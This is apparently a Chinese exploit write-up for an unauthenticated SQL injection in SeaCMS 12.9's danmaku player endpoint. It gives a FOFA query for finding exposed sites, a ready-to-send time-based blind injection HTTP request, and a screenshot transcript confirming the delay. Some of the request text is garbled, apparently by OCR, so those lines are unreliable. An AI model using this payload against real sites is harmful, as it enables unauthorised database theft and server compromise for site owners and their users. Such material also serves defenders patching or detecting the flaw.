# X8-3海洋-CMS-SQL

## 漏洞描述:

海洋CMS影视管理系统 /is/plaver/dmplaver/dmku/ 接口存在SOL注入漏洞,未经授权攻击者可通过该漏洞获取数据库敏感信息,进一步利用可获取服务器权限,导致网站处于极度不安全状态。

SeaCMS 12.9

#### 网站图片:



## fofa语法:

app="海洋CMS"

#### 漏洞复现:

#### 延时5秒 payload:

GET /js/player/dmplayer/dmku/?ac=del&id=(select(0) from(select(sleep(5)))v)&type=list HTTP/1.1

Ger /Js/player/amplayer/ammtu/sac=celvic=(select(0)from(select(sleep(s))))% type=fist fire/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept=Encoding: gzip, deflate
Accept: \*/\*
Connection: keep-alive

#### 效果图:

```
> 数据包扫描 美化 热加载 构造
Request
                                                                                                                                23hydas / 5256ms
1 GET:/js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list:HTTP/1.1
                                                                                                                           HTTP/1.1.200.0K
       User-Agent: Mozilla/5.0 (Windows NT-10.0; -Win64; -x64) AppleWebKit/537.36 (KHTML, ·like ·Gecko) ·Chrome/
                                                                                                                            Date: Wed, 12 Jun 2024 10:32:16 GMT
                                                                                                                            Server: Apache
                                                                                                                            Access-Control-Allow-Origin: *
      Accept-Encoding: gzip, deflate
Accept: */*
                                                                                                                           Upgrade: h2
                                                                                                                           Connection: Upgrade, close
       Connection: keep-alive
                                                                                                                           Vary: Accept-Encoding
                                                                                                                           Content-Type: application/json; charset=utf-8
Content-Length: 29
                                                                                                                           {-"code":-0,-"danmuku":-[]-}
                                                                                                                     11
```